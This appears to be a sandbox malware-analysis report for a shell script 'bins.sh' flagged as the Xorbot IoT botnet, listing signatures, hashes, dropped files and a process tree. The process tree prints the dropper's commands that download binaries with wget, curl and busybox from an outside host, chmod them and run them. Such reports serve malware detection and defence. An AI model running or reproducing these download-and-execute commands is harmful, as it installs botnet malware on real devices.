Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

3

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    28/12/2024, 23:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241228-2z4c7strht
  • SHA256 bf0c25da07ba94b72dbc736587e583a9ded67ec96520389fa42e4dc5382472b8
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoverytrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:717
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:740
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:742
        • /bin/chmod
          chmod 777 MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
          • File and Directory Permissions Modification
          PID:743
        • /tmp/MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          ./MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/11oa7Bd3zTccUtgCP1p9Hran7nysQfJRe0
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/11oa7Bd3zTccUtgCP1p9Hran7nysQfJRe0
            2⤵
            • Reads runtime system information
            PID:826

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              11oa7Bd3zTccUtgCP1p9Hran7nysQfJRe0
              • Path /tmp/11oa7Bd3zTccUtgCP1p9Hran7nysQfJRe0
              • Size 151KB
              • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download

              MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
              • Path /tmp/MOy0ajq1h5rDV1LL48ViD2EREvePOkfFU5
              • Size 127KB
              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
              • MD5 SHA1 SHA512 SSDEEP
              Submit Download